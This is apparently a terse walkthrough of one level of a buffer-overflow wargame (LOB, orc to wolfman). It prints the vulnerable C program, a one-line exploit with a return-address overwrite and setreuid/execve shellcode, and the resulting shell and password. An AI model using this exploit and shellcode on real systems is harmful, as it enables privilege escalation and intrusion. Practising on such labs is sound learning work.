[lob] orc -> wolfman

wolfman  wolfman.c
[orc@localhost orc]$ cat wolfman.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}
[orc@localhost orc]$

[orc@localhost orc]$ ./wolfman `python -c'print "a"*44+"\xd4\xfa\xff\xbf"+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa喇?육1??햰?육F?1픐h//shh/bin??S??柰
                                                                                      ?
bash$ ls
ls: .: Permission denied
bash$ my-pass
euid = 505
love eyuna
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